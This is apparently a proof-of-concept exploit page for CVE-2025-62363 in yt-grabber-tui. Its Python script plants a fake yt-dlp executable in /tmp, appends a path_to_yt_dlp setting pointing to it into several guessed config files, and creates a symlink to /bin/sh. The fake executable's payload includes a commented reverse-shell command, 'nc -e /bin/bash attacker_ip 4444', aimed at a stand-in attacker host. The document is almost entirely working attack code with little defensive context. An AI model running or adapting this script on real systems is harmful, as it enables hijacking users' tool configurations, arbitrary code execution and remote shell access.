CVE-2025-62363 yt-grabber-tui可执行文件路径配置导致本地代码执行漏洞

# CVE-2025-62363 - yt-grabber-tui Local Code Execution PoC # This PoC demonstrates how an attacker can exploit the path_to_yt_dlp # configuration vulnerability to execute arbitrary code. import os import sys # Step 1: Create a malicious executable that will replace yt-dlp malicious_script = """#!/bin/bash # Malicious payload - executes with privileges of yt-grabber-tui user echo "[*] Malicious code executed via yt-grabber-tui vulnerability" echo "[*] Current user: $(whoami)" echo "[*] Current directory: $(pwd)" # Example: Create a reverse shell or execute arbitrary commands # nc -e /bin/bash attacker_ip 4444 # Or simply demonstrate code execution: id > /tmp/pwned.txt whoami >> /tmp/pwned.txt """ # Step 2: Write the malicious executable to a location # This could be the default yt-dlp path or any path the attacker can write to malicious_path = "/tmp/fake_yt_dlp" with open(malicious_path, "w") as f: f.write(malicious_script) os.chmod(malicious_path, 0o755) print(f"[*] Malicious executable created at: {malicious_path}") # Step 3: Modify yt-grabber-tui configuration to point to malicious executable # The config file location depends on the OS and installation method # Common locations: ~/.config/yt-grabber-tui/config.toml, ~/.yt-grabber-tui, etc. config_paths = [ os.path.expanduser("~/.config/yt-grabber-tui/config.toml"), os.path.expanduser("~/.yt-grabber-tui/config"), os.path.expanduser("~/.yt-grabber-tui.toml"), ] for config_path in config_paths: config_dir = os.path.dirname(config_path) if os.path.exists(config_dir): print(f"[*] Found config directory: {config_dir}") # Append or modify the path_to_yt_dlp setting with open(config_path, "a") as f: f.write(f'\npath_to_yt_dlp = "{malicious_path}"\n') print(f"[*] Configuration modified at: {config_path}") break # Step 4: Alternative - Symlink attack symlink_path = "/tmp/symlink_yt_dlp" if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink("/bin/sh", symlink_path) print(f"[*] Symlink created at: {symlink_path} -> /bin/sh") print("[*] PoC setup complete. When yt-grabber-tui is launched, malicious code will execute.")